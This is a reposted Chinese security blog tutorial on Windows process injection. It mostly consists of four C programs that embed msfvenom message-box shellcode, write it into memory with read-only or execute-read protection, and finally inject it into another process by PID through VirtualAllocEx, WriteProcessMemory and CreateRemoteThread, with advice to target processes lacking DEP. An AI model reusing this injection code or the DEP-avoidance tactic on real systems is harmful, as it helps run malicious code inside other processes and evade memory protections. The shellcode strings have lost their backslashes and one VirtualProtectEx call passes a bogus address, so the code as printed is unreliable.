如何突破在没有写or执行权限的进程注入

  • A+
所属分类:安全文章


如何突破在没有写or执行权限的进程注入


        是否可以在不可写的分配中编写我们的 shellcode 并在不可执行的分配中执行它?所以决定研究它并尝试创建一个二进制文件来检查权限。



正常行为

        我们创建了一个 shellcode,它通过 msfvenom 弹出一个消息框。之后,我们制作了一个二进制文件来进行具有正常行为(READ、WRITE 和 EXECUTE)权限的自注入。


#include <stdio.h>#include <Windows.h>
int main(){ unsigned char shellcode[] = "xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b" "x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b" "x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24" "x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a" "x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0" "xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c" "x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a" "x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2" "x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f" "xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52" "xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33" "x32x2ex64x68x75x73x65x72x30xdbx88x5cx24x0ax89" "xe6x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c" "x24x52xe8x5fxffxffxffx68x6fx78x58x20x68x61x67" "x65x42x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3" "x68x70x77x6ex58x68x52x65x74x32x31xc9x88x4cx24" "x07x89xe1x31xd2x52x53x51x52xffxd0x31xc0x50xff" "x55x08";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)();
return 0;}


如何突破在没有写or执行权限的进程注入


下一步是编译 -> 运行

如何突破在没有写or执行权限的进程注入


正如预期的那样,我们的 shellcode 在内存中正常执行,没有问题,因为我们已经给了它一个 READ、WRITE 和 EXECUTE 权限。


PWN 写入

        现在我们将通过授予分配PAGE_EXEUTE_READ权限来尝试在不可写分配中编写我们的 shellcode 

#include <stdio.h>#include <Windows.h>
int main(){ unsigned char shellcode[] = "xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b" "x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b" "x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24" "x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a" "x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0" "xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c" "x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a" "x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2" "x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f" "xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52" "xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33" "x32x2ex64x68x75x73x65x72x30xdbx88x5cx24x0ax89" "xe6x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c" "x24x52xe8x5fxffxffxffx68x6fx78x58x20x68x61x67" "x65x42x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3" "x68x70x77x6ex58x68x52x65x74x32x31xc9x88x4cx24" "x07x89xe1x31xd2x52x53x51x52xffxd0x31xc0x50xff" "x55x08";

void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READ); printf("[+] Allocation created successfully %p n", exec);
if (WriteProcessMemory(GetCurrentProcess(), exec, shellcode, sizeof(shellcode), NULL)) { printf("[+] Shellcode wrote successfully."); } else { printf("[-] No permission to write the shellcode."); } return 0;}


如何突破在没有写or执行权限的进程注入


下一步是编译 -> 运行


如何突破在没有写or执行权限的进程注入


我们成功地编写了我们的shellcode。这意味着我们可以写入不可写的分配。


执行

        现在我们将尝试通过授予分配PAGE_READONLY权限在不可执行的分配中执行我们的 shellcode 

#include <stdio.h>#include <Windows.h>
int main(){ unsigned char shellcode[] = "xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b" "x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b" "x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24" "x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a" "x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0" "xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c" "x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a" "x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2" "x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f" "xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52" "xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33" "x32x2ex64x68x75x73x65x72x30xdbx88x5cx24x0ax89" "xe6x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c" "x24x52xe8x5fxffxffxffx68x6fx78x58x20x68x61x67" "x65x42x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3" "x68x70x77x6ex58x68x52x65x74x32x31xc9x88x4cx24" "x07x89xe1x31xd2x52x53x51x52xffxd0x31xc0x50xff" "x55x08";
DWORD OldProction; void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READ); printf("[+] Allocation created successfully %p n", exec);
if (WriteProcessMemory(GetCurrentProcess(), exec, shellcode, sizeof(shellcode), NULL)) { printf("[+] Shellcode wrote successfully. n"); if (VirtualProtect(exec, sizeof(exec), PAGE_READONLY, &OldProction)) { printf("[+] Permission changed successfully. n"); ((void(*)())exec)(); } else { printf("[-] Cannot change the permission. n"); } } else { printf("[-] No permission to write the shellcode. n"); } return 0;}


如何突破在没有写or执行权限的进程注入


下一步是编译 -> 运行

如何突破在没有写or执行权限的进程注入


我们改权限成功了,同时我们的shellcode执行失败!!


调试

        在查看了后台发生的事情后,我们发现二进制文件运行完美,直到在开始执行     shellcode 时执行 shellcode 立即失败,因为启用了数据执行保护 (DEP) 保护。
        这意味着我们无法在内存中执行 shellcode,因为 DEP 正在阻止任何类型的 shell 代码在内存中运行。

如何突破在没有写or执行权限的进程注入

所以我们的下一步将是禁用 DEP 保护选项并重新编译它。

如何突破在没有写or执行权限的进程注入

如何突破在没有写or执行权限的进程注入


正如我们预期的那样,我们的 shellcode 正常执行到内存中

        现在我们有了一个概念证明。那么如果我们修改我们的应用程序来为一个没有 DEP 保护的进程执行进程注入会发生什么?让我们看看在这种情况下会发生什么。

PWN 进程注入

        我们制作了一个手动获取 PID 的二进制文件。
        PID 将是在没有 DEP 保护的情况下运行的任何进程。

#include <stdio.h>#include <Windows.h>
int main(int argc, char* argv[]){ unsigned char shellcode[] = "xd9xebx9bxd9x74x24xf4x31xd2xb2x77x31xc9x64x8b" "x71x30x8bx76x0cx8bx76x1cx8bx46x08x8bx7ex20x8b" "x36x38x4fx18x75xf3x59x01xd1xffxe1x60x8bx6cx24" "x24x8bx45x3cx8bx54x28x78x01xeax8bx4ax18x8bx5a" "x20x01xebxe3x34x49x8bx34x8bx01xeex31xffx31xc0" "xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7c" "x24x28x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5a" "x1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61xc3xb2" "x08x29xd4x89xe5x89xc2x68x8ex4ex0execx52xe8x9f" "xffxffxffx89x45x04xbbx7exd8xe2x73x87x1cx24x52" "xe8x8exffxffxffx89x45x08x68x6cx6cx20x41x68x33" "x32x2ex64x68x75x73x65x72x30xdbx88x5cx24x0ax89" "xe6x56xffx55x04x89xc2x50xbbxa8xa2x4dxbcx87x1c" "x24x52xe8x5fxffxffxffx68x6fx78x58x20x68x61x67" "x65x42x68x4dx65x73x73x31xdbx88x5cx24x0ax89xe3" "x68x70x77x6ex58x68x52x65x74x32x31xc9x88x4cx24" "x07x89xe1x31xd2x52x53x51x52xffxd0x31xc0x50xff" "x55x08";
HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; DWORD oldPerms; DWORD PID = 17968; printf("Injecting to PID: %i", PID); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READ); WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); VirtualProtectEx(processHandle, (LPVOID)sizeof(processHandle), sizeof(shellcode), PAGE_READONLY, &oldPerms); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle);
return 0;}


如何突破在没有写or执行权限的进程注入


完美运行在没有可写/可执行分配的情况下成功注入了我们的 shellcode

本文始发于微信公众号(Khan安全攻防实验室):如何突破在没有写or执行权限的进程注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: